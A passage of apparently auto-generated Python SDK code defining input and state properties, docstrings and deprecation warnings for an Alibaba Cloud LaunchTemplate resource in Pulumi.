warnings.warn("""Field 'userdata' has been deprecated from provider version 1.120.0. New field 'user_data' instead.""", DeprecationWarning)
pulumi.log.warn("""userdata is deprecated: Field 'userdata' has been deprecated from provider version 1.120.0. New field 'user_data' instead.""")
if userdata is not None:
pulumi.set(__self__, "userdata", userdata)
if version_description is not None:
pulumi.set(__self__, "version_description", version_description)
if vpc_id is not None:
pulumi.set(__self__, "vpc_id", vpc_id)
if vswitch_id is not None:
pulumi.set(__self__, "vswitch_id", vswitch_id)
if zone_id is not None:
pulumi.set(__self__, "zone_id", zone_id)
@property
@pulumi.getter(name="autoReleaseTime")
def auto_release_time(self) -> Optional[pulumi.Input[str]]:
"""
Instance auto release time. The time is presented using the ISO8601 standard and in UTC time. The format is YYYY-MM-DDTHH:MM:SSZ.
"""
return pulumi.get(self, "auto_release_time")
@auto_release_time.setter
def auto_release_time(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "auto_release_time", value)
@property
@pulumi.getter(name="dataDisks")
def data_disks(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['LaunchTemplateDataDiskArgs']]]]:
"""
The list of data disks created with instance.
"""
return pulumi.get(self, "data_disks")
@data_disks.setter
def data_disks(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['LaunchTemplateDataDiskArgs']]]]):
pulumi.set(self, "data_disks", value)
@property
@pulumi.getter(name="deploymentSetId")
def deployment_set_id(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "deployment_set_id")
@deployment_set_id.setter
def deployment_set_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "deployment_set_id", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
The description of the data disk.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="enableVmOsConfig")
def enable_vm_os_config(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "enable_vm_os_config")
@enable_vm_os_config.setter
def enable_vm_os_config(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "enable_vm_os_config", value)
@property
@pulumi.getter(name="hostName")
def host_name(self) -> Optional[pulumi.Input[str]]:
"""
Instance host name.It cannot start or end with a period (.) or a hyphen (-) and it cannot have two or more consecutive periods (.) or hyphens (-).For Windows: The host name can be [2, 15] characters in length. It can contain A-Z, a-z, numbers, periods (.), and hyphens (-). It cannot only contain numbers. For other operating systems: The host name can be [2, 64] characters in length. It can be segments separated by periods (.). It can contain A-Z, a-z, numbers, and hyphens (-).
"""
return pulumi.get(self, "host_name")
@host_name.setter
def host_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "host_name", value)
@property
@pulumi.getter(name="imageId")
def image_id(self) -> Optional[pulumi.Input[str]]:
"""
Image ID.
"""
return pulumi.get(self, "image_id")
@image_id.setter
def image_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "image_id", value)
@property
@pulumi.getter(name="imageOwnerAlias")
def image_owner_alias(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "image_owner_alias")
@image_owner_alias.setter
def image_owner_alias(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "image_owner_alias", value)
@property
@pulumi.getter(name="instanceChargeType")
def instance_charge_type(self) -> Optional[pulumi.Input[str]]:
"""
Billing methods. Optional values:
- PrePaid: Monthly, or annual subscription. Make sure that your registered credit card is invalid or you have insufficient balance in your PayPal account. Otherwise, InvalidPayMethod error may occur.
- PostPaid: Pay-As-You-Go.
"""
return pulumi.get(self, "instance_charge_type")
@instance_charge_type.setter
def instance_charge_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_charge_type", value)
@property
@pulumi.getter(name="instanceName")
def instance_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the instance. The name is a string of 2 to 128 characters. It must begin with an English or a Chinese character. It can contain A-Z, a-z, Chinese characters, numbers, periods (.), colons (:), underscores (_), and hyphens (-).
"""
return pulumi.get(self, "instance_name")
@instance_name.setter
def instance_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_name", value)
@property
@pulumi.getter(name="instanceType")
def instance_type(self) -> Optional[pulumi.Input[str]]:
"""
Instance type. For more information, call resource_alicloud_instances to obtain the latest instance type list.
"""
return pulumi.get(self, "instance_type")
@instance_type.setter
def instance_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_type", value)
@property
@pulumi.getter(name="internetChargeType")
def internet_charge_type(self) -> Optional[pulumi.Input[str]]:
"""
Internet bandwidth billing method. Optional values: `PayByTraffic` | `PayByBandwidth`.
"""
return pulumi.get(self, "internet_charge_type")
@internet_charge_type.setter
def internet_charge_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "internet_charge_type", value)
@property
@pulumi.getter(name="internetMaxBandwidthIn")
def internet_max_bandwidth_in(self) -> Optional[pulumi.Input[int]]:
"""
The maximum inbound bandwidth from the Internet network, measured in Mbit/s. Value range: [1, 200].
"""
return pulumi.get(self, "internet_max_bandwidth_in")
@internet_max_bandwidth_in.setter
def internet_max_bandwidth_in(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "internet_max_bandwidth_in", value)
@property
@pulumi.getter(name="internetMaxBandwidthOut")
def internet_max_bandwidth_out(self) -> Optional[pulumi.Input[int]]:
"""
Maximum outbound bandwidth from the Internet, its unit of measurement is Mbit/s. Value range: [0, 100].
"""
return pulumi.get(self, "internet_max_bandwidth_out")
@internet_max_bandwidth_out.setter
def internet_max_bandwidth_out(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "internet_max_bandwidth_out", value)
@property
@pulumi.getter(name="ioOptimized")
def io_optimized(self) -> Optional[pulumi.Input[str]]:
"""
Whether it is an I/O-optimized instance or not. Optional values:
- none
- optimized
"""
return pulumi.get(self, "io_optimized")
@io_optimized.setter
def io_optimized(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "io_optimized", value)
@property
@pulumi.getter(name="keyPairName")
def key_pair_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the key pair.
- Ignore this parameter for Windows instances. It is null by default. Even if you enter this parameter, only the Password content is used.
- The password logon method for Linux instances is set to forbidden upon initialization.
"""
return pulumi.get(self, "key_pair_name")
@key_pair_name.setter
def key_pair_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "key_pair_name", value)
@property
@pulumi.getter(name="launchTemplateName")
def launch_template_name(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "launch_template_name")
@launch_template_name.setter
def launch_template_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "launch_template_name", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the data disk.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="networkInterfaces")
def network_interfaces(self) -> Optional[pulumi.Input['LaunchTemplateNetworkInterfacesArgs']]:
"""
The list of network interfaces created with instance.
"""
return pulumi.get(self, "network_interfaces")
@network_interfaces.setter
def network_interfaces(self, value: Optional[pulumi.Input['LaunchTemplateNetworkInterfacesArgs']]):
pulumi.set(self, "network_interfaces", value)
@property
@pulumi.getter(name="networkType")
def network_type(self) -> Optional[pulumi.Input[str]]:
"""
Network type of the instance. Value options: `classic` | `vpc`.
"""
return pulumi.get(self, "network_type")
@network_type.setter
def network_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "network_type", value)
@property
@pulumi.getter(name="passwordInherit")
def password_inherit(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "password_inherit")
@password_inherit.setter
def password_inherit(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "password_inherit", value)
@property
@pulumi.getter
def period(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "period")
@period.setter
def period(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "period", value)
@property
@pulumi.getter(name="privateIpAddress")
def private_ip_address(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "private_ip_address")
@private_ip_address.setter
def private_ip_address(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "private_ip_address", value)
@property
@pulumi.getter(name="ramRoleName")
def ram_role_name(self) -> Optional[pulumi.Input[str]]:
"""
The RAM role name of the instance. You can use the RAM API ListRoles to query instance RAM role names.
"""
return pulumi.get(self, "ram_role_name")
@ram_role_name.setter
def ram_role_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "ram_role_name", value)
@property
@pulumi.getter(name="resourceGroupId")
def resource_group_id(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "resource_group_id")
@resource_group_id.setter
def resource_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "resource_group_id", value)
@property
@pulumi.getter(name="securityEnhancementStrategy")
def security_enhancement_strategy(self) -> Optional[pulumi.Input[str]]:
"""
Whether or not to activate the security enhancement feature and install network security software free of charge. Optional values: Active | Deactive.
"""
return pulumi.get(self, "security_enhancement_strategy")
@security_enhancement_strategy.setter
def security_enhancement_strategy(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "security_enhancement_strategy", value)
@property
@pulumi.getter(name="securityGroupId")
def security_group_id(self) -> Optional[pulumi.Input[str]]:
"""
The security group ID must be one in the same VPC.
"""
return pulumi.get(self, "security_group_id")
@security_group_id.setter
def security_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "security_group_id", value)
@property
@pulumi.getter(name="securityGroupIds")
def security_group_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
return pulumi.get(self, "security_group_ids")
@security_group_ids.setter
def security_group_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "security_group_ids", value)
@property
@pulumi.getter(name="spotDuration")
def spot_duration(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "spot_duration")
@spot_duration.setter
def spot_duration(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "spot_duration", value)
@property
@pulumi.getter(name="spotPriceLimit")
def spot_price_limit(self) -> Optional[pulumi.Input[float]]:
"""
-(Optional) Sets the maximum hourly instance price. Supports up to three decimal places.
"""
return pulumi.get(self, "spot_price_limit")
@spot_price_limit.setter
def spot_price_limit(self, value: Optional[pulumi.Input[float]]):
pulumi.set(self, "spot_price_limit", value)
@property
@pulumi.getter(name="spotStrategy")
def spot_strategy(self) -> Optional[pulumi.Input[str]]:
"""
The spot strategy for a Pay-As-You-Go instance. This parameter is valid and required only when InstanceChargeType is set to PostPaid. Value range:
- NoSpot: Normal Pay-As-You-Go instance.
- SpotWithPriceLimit: Sets the maximum price for a spot instance.
- SpotAsPriceGo: The system automatically calculates the price. The maximum value is the Pay-As-You-Go price.
"""
return pulumi.get(self, "spot_strategy")
@spot_strategy.setter
def spot_strategy(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "spot_strategy", value)
@property
@pulumi.getter(name="systemDisk")
def system_disk(self) -> Optional[pulumi.Input['LaunchTemplateSystemDiskArgs']]:
return pulumi.get(self, "system_disk")
@system_disk.setter
def system_disk(self, value: Optional[pulumi.Input['LaunchTemplateSystemDiskArgs']]):
pulumi.set(self, "system_disk", value)
@property
@pulumi.getter(name="systemDiskCategory")
def system_disk_category(self) -> Optional[pulumi.Input[str]]:
"""
The category of the system disk. System disk type. Optional values:
- cloud: Basic cloud disk.
- cloud_efficiency: Ultra cloud disk.
- cloud_ssd: SSD cloud Disks.
- ephemeral_ssd: local SSD Disks
- cloud_essd: ESSD cloud Disks.
"""
return pulumi.get(self, "system_disk_category")
@system_disk_category.setter
def system_disk_category(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_category", value)
@property
@pulumi.getter(name="systemDiskDescription")
def system_disk_description(self) -> Optional[pulumi.Input[str]]:
"""
System disk description. It cannot begin with http:// or https://.
"""
return pulumi.get(self, "system_disk_description")
@system_disk_description.setter
def system_disk_description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_description", value)
@property
@pulumi.getter(name="systemDiskName")
def system_disk_name(self) -> Optional[pulumi.Input[str]]:
"""
System disk name. The name is a string of 2 to 128 characters. It must begin with an English or a Chinese character. It can contain A-Z, a-z, Chinese characters, numbers, periods (.), colons (:), underscores (_), and hyphens (-).
"""
return pulumi.get(self, "system_disk_name")
@system_disk_name.setter
def system_disk_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_name", value)
@property
@pulumi.getter(name="systemDiskSize")
def system_disk_size(self) -> Optional[pulumi.Input[int]]:
"""
Size of the system disk, measured in GB. Value range: [20, 500].
"""
return pulumi.get(self, "system_disk_size")
@system_disk_size.setter
def system_disk_size(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "system_disk_size", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
A mapping of tags to assign to the resource.
- Key: It can be up to 64 characters in length. It cannot begin with "aliyun", "acs:", "http://", or "https://". It cannot be a null string.
- Value: It can be up to 128 characters in length. It cannot begin with "aliyun", "acs:", "http://", or "https://". It can be a null string.
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "tags", value)
@property
@pulumi.getter(name="templateResourceGroupId")
def template_resource_group_id(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "template_resource_group_id")
@template_resource_group_id.setter
def template_resource_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "template_resource_group_id", value)
@property
@pulumi.getter(name="templateTags")
def template_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
return pulumi.get(self, "template_tags")
@template_tags.setter
def template_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "template_tags", value)
@property
@pulumi.getter(name="userData")
def user_data(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "user_data")
@user_data.setter
def user_data(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_data", value)
@property
@pulumi.getter
def userdata(self) -> Optional[pulumi.Input[str]]:
"""
User data of the instance, which is Base64-encoded. Size of the raw data cannot exceed 16 KB.
"""
return pulumi.get(self, "userdata")
@userdata.setter
def userdata(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "userdata", value)
@property
@pulumi.getter(name="versionDescription")
def version_description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "version_description")
@version_description.setter
def version_description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "version_description", value)
@property
@pulumi.getter(name="vpcId")
def vpc_id(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "vpc_id")
@vpc_id.setter
def vpc_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "vpc_id", value)
@property
@pulumi.getter(name="vswitchId")
def vswitch_id(self) -> Optional[pulumi.Input[str]]:
"""
The VSwitch ID for ENI. The instance must be in the same zone of the same VPC network as the ENI, but they may belong to different VSwitches.
"""
return pulumi.get(self, "vswitch_id")
@vswitch_id.setter
def vswitch_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "vswitch_id", value)
@property
@pulumi.getter(name="zoneId")
def zone_id(self) -> Optional[pulumi.Input[str]]:
"""
The zone ID of the instance.
"""
return pulumi.get(self, "zone_id")
@zone_id.setter
def zone_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "zone_id", value)
@pulumi.input_type
class _LaunchTemplateState:
def __init__(__self__, *,
auto_release_time: Optional[pulumi.Input[str]] = None,
data_disks: Optional[pulumi.Input[Sequence[pulumi.Input['LaunchTemplateDataDiskArgs']]]] = None,
deployment_set_id: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
enable_vm_os_config: Optional[pulumi.Input[bool]] = None,
host_name: Optional[pulumi.Input[str]] = None,
image_id: Optional[pulumi.Input[str]] = None,
image_owner_alias: Optional[pulumi.Input[str]] = None,
instance_charge_type: Optional[pulumi.Input[str]] = None,
instance_name: Optional[pulumi.Input[str]] = None,
instance_type: Optional[pulumi.Input[str]] = None,
internet_charge_type: Optional[pulumi.Input[str]] = None,
internet_max_bandwidth_in: Optional[pulumi.Input[int]] = None,
internet_max_bandwidth_out: Optional[pulumi.Input[int]] = None,
io_optimized: Optional[pulumi.Input[str]] = None,
key_pair_name: Optional[pulumi.Input[str]] = None,
launch_template_name: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
network_interfaces: Optional[pulumi.Input['LaunchTemplateNetworkInterfacesArgs']] = None,
network_type: Optional[pulumi.Input[str]] = None,
password_inherit: Optional[pulumi.Input[bool]] = None,
period: Optional[pulumi.Input[int]] = None,
private_ip_address: Optional[pulumi.Input[str]] = None,
ram_role_name: Optional[pulumi.Input[str]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
security_enhancement_strategy: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
spot_duration: Optional[pulumi.Input[str]] = None,
spot_price_limit: Optional[pulumi.Input[float]] = None,
spot_strategy: Optional[pulumi.Input[str]] = None,
system_disk: Optional[pulumi.Input['LaunchTemplateSystemDiskArgs']] = None,
system_disk_category: Optional[pulumi.Input[str]] = None,
system_disk_description: Optional[pulumi.Input[str]] = None,
system_disk_name: Optional[pulumi.Input[str]] = None,
system_disk_size: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
template_resource_group_id: Optional[pulumi.Input[str]] = None,
template_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
user_data: Optional[pulumi.Input[str]] = None,
userdata: Optional[pulumi.Input[str]] = None,
version_description: Optional[pulumi.Input[str]] = None,
vpc_id: Optional[pulumi.Input[str]] = None,
vswitch_id: Optional[pulumi.Input[str]] = None,
zone_id: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering LaunchTemplate resources.
:param pulumi.Input[str] auto_release_time: Instance auto release time. The time is presented using the ISO8601 standard and in UTC time. The format is YYYY-MM-DDTHH:MM:SSZ.
:param pulumi.Input[Sequence[pulumi.Input['LaunchTemplateDataDiskArgs']]] data_disks: The list of data disks created with instance.
:param pulumi.Input[str] description: The description of the data disk.
:param pulumi.Input[str] host_name: Instance host name.It cannot start or end with a period (.) or a hyphen (-) and it cannot have two or more consecutive periods (.) or hyphens (-).For Windows: The host name can be [2, 15] characters in length. It can contain A-Z, a-z, numbers, periods (.), and hyphens (-). It cannot only contain numbers. For other operating systems: The host name can be [2, 64] characters in length. It can be segments separated by periods (.). It can contain A-Z, a-z, numbers, and hyphens (-).
:param pulumi.Input[str] image_id: Image ID.
:param pulumi.Input[str] instance_charge_type: Billing methods. Optional values:
- PrePaid: Monthly, or annual subscription. Make sure that your registered credit card is invalid or you have insufficient balance in your PayPal account. Otherwise, InvalidPayMethod error may occur.
- PostPaid: Pay-As-You-Go.
:param pulumi.Input[str] instance_name: The name of the instance. The name is a string of 2 to 128 characters. It must begin with an English or a Chinese character. It can contain A-Z, a-z, Chinese characters, numbers, periods (.), colons (:), underscores (_), and hyphens (-).
:param pulumi.Input[str] instance_type: Instance type. For more information, call resource_alicloud_instances to obtain the latest instance type list.
:param pulumi.Input[str] internet_charge_type: Internet bandwidth billing method. Optional values: `PayByTraffic` | `PayByBandwidth`.
:param pulumi.Input[int] internet_max_bandwidth_in: The maximum inbound bandwidth from the Internet network, measured in Mbit/s. Value range: [1, 200].
:param pulumi.Input[int] internet_max_bandwidth_out: Maximum outbound bandwidth from the Internet, its unit of measurement is Mbit/s. Value range: [0, 100].
:param pulumi.Input[str] io_optimized: Whether it is an I/O-optimized instance or not. Optional values:
- none
- optimized
:param pulumi.Input[str] key_pair_name: The name of the key pair.
- Ignore this parameter for Windows instances. It is null by default. Even if you enter this parameter, only the Password content is used.
- The password logon method for Linux instances is set to forbidden upon initialization.
:param pulumi.Input[str] name: The name of the data disk.
:param pulumi.Input['LaunchTemplateNetworkInterfacesArgs'] network_interfaces: The list of network interfaces created with instance.
:param pulumi.Input[str] network_type: Network type of the instance. Value options: `classic` | `vpc`.
:param pulumi.Input[str] ram_role_name: The RAM role name of the instance. You can use the RAM API ListRoles to query instance RAM role names.
:param pulumi.Input[str] security_enhancement_strategy: Whether or not to activate the security enhancement feature and install network security software free of charge. Optional values: Active | Deactive.
:param pulumi.Input[str] security_group_id: The security group ID must be one in the same VPC.
:param pulumi.Input[float] spot_price_limit: -(Optional) Sets the maximum hourly instance price. Supports up to three decimal places.
:param pulumi.Input[str] spot_strategy: The spot strategy for a Pay-As-You-Go instance. This parameter is valid and required only when InstanceChargeType is set to PostPaid. Value range:
- NoSpot: Normal Pay-As-You-Go instance.
- SpotWithPriceLimit: Sets the maximum price for a spot instance.
- SpotAsPriceGo: The system automatically calculates the price. The maximum value is the Pay-As-You-Go price.
:param pulumi.Input[str] system_disk_category: The category of the system disk. System disk type. Optional values:
- cloud: Basic cloud disk.
- cloud_efficiency: Ultra cloud disk.
- cloud_ssd: SSD cloud Disks.
- ephemeral_ssd: local SSD Disks
- cloud_essd: ESSD cloud Disks.
:param pulumi.Input[str] system_disk_description: System disk description. It cannot begin with http:// or https://.
:param pulumi.Input[str] system_disk_name: System disk name. The name is a string of 2 to 128 characters. It must begin with an English or a Chinese character. It can contain A-Z, a-z, Chinese characters, numbers, periods (.), colons (:), underscores (_), and hyphens (-).
:param pulumi.Input[int] system_disk_size: Size of the system disk, measured in GB. Value range: [20, 500].
:param pulumi.Input[Mapping[str, Any]] tags: A mapping of tags to assign to the resource.
- Key: It can be up to 64 characters in length. It cannot begin with "aliyun", "acs:", "http://", or "https://". It cannot be a null string.
- Value: It can be up to 128 characters in length. It cannot begin with "aliyun", "acs:", "http://", or "https://". It can be a null string.
:param pulumi.Input[str] userdata: User data of the instance, which is Base64-encoded. Size of the raw data cannot exceed 16 KB.
:param pulumi.Input[str] vswitch_id: The VSwitch ID for ENI. The instance must be in the same zone of the same VPC network as the ENI, but they may belong to different VSwitches.
:param pulumi.Input[str] zone_id: The zone ID of the instance.
"""
if auto_release_time is not None:
pulumi.set(__self__, "auto_release_time", auto_release_time)
if data_disks is not None:
pulumi.set(__self__, "data_disks", data_disks)
if deployment_set_id is not None:
pulumi.set(__self__, "deployment_set_id", deployment_set_id)
if description is not None:
pulumi.set(__self__, "description", description)
if enable_vm_os_config is not None:
pulumi.set(__self__, "enable_vm_os_config", enable_vm_os_config)
if host_name is not None:
pulumi.set(__self__, "host_name", host_name)
if image_id is not None:
pulumi.set(__self__, "image_id", image_id)
if image_owner_alias is not None:
pulumi.set(__self__, "image_owner_alias", image_owner_alias)
if instance_charge_type is not None:
pulumi.set(__self__, "instance_charge_type", instance_charge_type)
if instance_name is not None:
pulumi.set(__self__, "instance_name", instance_name)
if instance_type is not None:
pulumi.set(__self__, "instance_type", instance_type)
if internet_charge_type is not None:
pulumi.set(__self__, "internet_charge_type", internet_charge_type)
if internet_max_bandwidth_in is not None:
pulumi.set(__self__, "internet_max_bandwidth_in", internet_max_bandwidth_in)
if internet_max_bandwidth_out is not None:
pulumi.set(__self__, "internet_max_bandwidth_out", internet_max_bandwidth_out)
if io_optimized is not None:
pulumi.set(__self__, "io_optimized", io_optimized)
if key_pair_name is not None:
pulumi.set(__self__, "key_pair_name", key_pair_name)
if launch_template_name is not None:
pulumi.set(__self__, "launch_template_name", launch_template_name)
if name is not None:
warnings.warn("""Field 'name' has been deprecated from provider version 1.120.0. New field 'launch_template_name' instead.""", DeprecationWarning)
pulumi.log.warn("""name is deprecated: Field 'name' has been deprecated from provider version 1.120.0. New field 'launch_template_name' instead.""")
if name is not None:
pulumi.set(__self__, "name", name)
if network_interfaces is not None:
pulumi.set(__self__, "network_interfaces", network_interfaces)
if network_type is not None:
pulumi.set(__self__, "network_type", network_type)
if password_inherit is not None:
pulumi.set(__self__, "password_inherit", password_inherit)
if period is not None:
pulumi.set(__self__, "period", period)
if private_ip_address is not None:
pulumi.set(__self__, "private_ip_address", private_ip_address)
if ram_role_name is not None:
pulumi.set(__self__, "ram_role_name", ram_role_name)
if resource_group_id is not None:
pulumi.set(__self__, "resource_group_id", resource_group_id)
if security_enhancement_strategy is not None:
pulumi.set(__self__, "security_enhancement_strategy", security_enhancement_strategy)
if security_group_id is not None:
pulumi.set(__self__, "security_group_id", security_group_id)
if security_group_ids is not None:
pulumi.set(__self__, "security_group_ids", security_group_ids)
if spot_duration is not None:
pulumi.set(__self__, "spot_duration", spot_duration)
if spot_price_limit is not None:
pulumi.set(__self__, "spot_price_limit", spot_price_limit)
if spot_strategy is not None:
pulumi.set(__self__, "spot_strategy", spot_strategy)
if system_disk is not None:
pulumi.set(__self__, "system_disk", system_disk)
if system_disk_category is not None:
warnings.warn("""Field 'system_disk_category' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""", DeprecationWarning)
pulumi.log.warn("""system_disk_category is deprecated: Field 'system_disk_category' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""")
if system_disk_category is not None:
pulumi.set(__self__, "system_disk_category", system_disk_category)
if system_disk_description is not None:
warnings.warn("""Field 'system_disk_description' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""", DeprecationWarning)
pulumi.log.warn("""system_disk_description is deprecated: Field 'system_disk_description' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""")
if system_disk_description is not None:
pulumi.set(__self__, "system_disk_description", system_disk_description)
if system_disk_name is not None:
warnings.warn("""Field 'system_disk_name' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""", DeprecationWarning)
pulumi.log.warn("""system_disk_name is deprecated: Field 'system_disk_name' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""")
if system_disk_name is not None:
pulumi.set(__self__, "system_disk_name", system_disk_name)
if system_disk_size is not None:
warnings.warn("""Field 'system_disk_size' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""", DeprecationWarning)
pulumi.log.warn("""system_disk_size is deprecated: Field 'system_disk_size' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""")
if system_disk_size is not None:
pulumi.set(__self__, "system_disk_size", system_disk_size)
if tags is not None:
pulumi.set(__self__, "tags", tags)
if template_resource_group_id is not None:
pulumi.set(__self__, "template_resource_group_id", template_resource_group_id)
if template_tags is not None:
pulumi.set(__self__, "template_tags", template_tags)
if user_data is not None:
pulumi.set(__self__, "user_data", user_data)
if userdata is not None:
warnings.warn("""Field 'userdata' has been deprecated from provider version 1.120.0. New field 'user_data' instead.""", DeprecationWarning)
pulumi.log.warn("""userdata is deprecated: Field 'userdata' has been deprecated from provider version 1.120.0. New field 'user_data' instead.""")
if userdata is not None:
pulumi.set(__self__, "userdata", userdata)
if version_description is not None:
pulumi.set(__self__, "version_description", version_description)
if vpc_id is not None:
pulumi.set(__self__, "vpc_id", vpc_id)
if vswitch_id is not None:
pulumi.set(__self__, "vswitch_id", vswitch_id)
if zone_id is not None:
pulumi.set(__self__, "zone_id", zone_id)
@property
@pulumi.getter(name="autoReleaseTime")
def auto_release_time(self) -> Optional[pulumi.Input[str]]:
"""
Instance auto release time. The time is presented using the ISO8601 standard and in UTC time. The format is YYYY-MM-DDTHH:MM:SSZ.
"""
return pulumi.get(self, "auto_release_time")
@auto_release_time.setter
def auto_release_time(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "auto_release_time", value)
@property
@pulumi.getter(name="dataDisks")
def data_disks(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['LaunchTemplateDataDiskArgs']]]]:
"""
The list of data disks created with instance.
"""
return pulumi.get(self, "data_disks")
@data_disks.setter
def data_disks(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['LaunchTemplateDataDiskArgs']]]]):
pulumi.set(self, "data_disks", value)
@property
@pulumi.getter(name="deploymentSetId")
def deployment_set_id(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "deployment_set_id")
@deployment_set_id.setter
def deployment_set_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "deployment_set_id", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
The description of the data disk.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="enableVmOsConfig")
def enable_vm_os_config(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "enable_vm_os_config")
@enable_vm_os_config.setter
def enable_vm_os_config(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "enable_vm_os_config", value)
@property
@pulumi.getter(name="hostName")
def host_name(self) -> Optional[pulumi.Input[str]]:
"""
Instance host name.It cannot start or end with a period (.) or a hyphen (-) and it cannot have two or more consecutive periods (.) or hyphens (-).For Windows: The host name can be [2, 15] characters in length. It can contain A-Z, a-z, numbers, periods (.), and hyphens (-). It cannot only contain numbers. For other operating systems: The host name can be [2, 64] characters in length. It can be segments separated by periods (.). It can contain A-Z, a-z, numbers, and hyphens (-).
"""
return pulumi.get(self, "host_name")
@host_name.setter
def host_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "host_name", value)
@property
@pulumi.getter(name="imageId")
def image_id(self) -> Optional[pulumi.Input[str]]:
"""
Image ID.
"""
return pulumi.get(self, "image_id")
@image_id.setter
def image_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "image_id", value)
@property
@pulumi.getter(name="imageOwnerAlias")
def image_owner_alias(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "image_owner_alias")
@image_owner_alias.setter
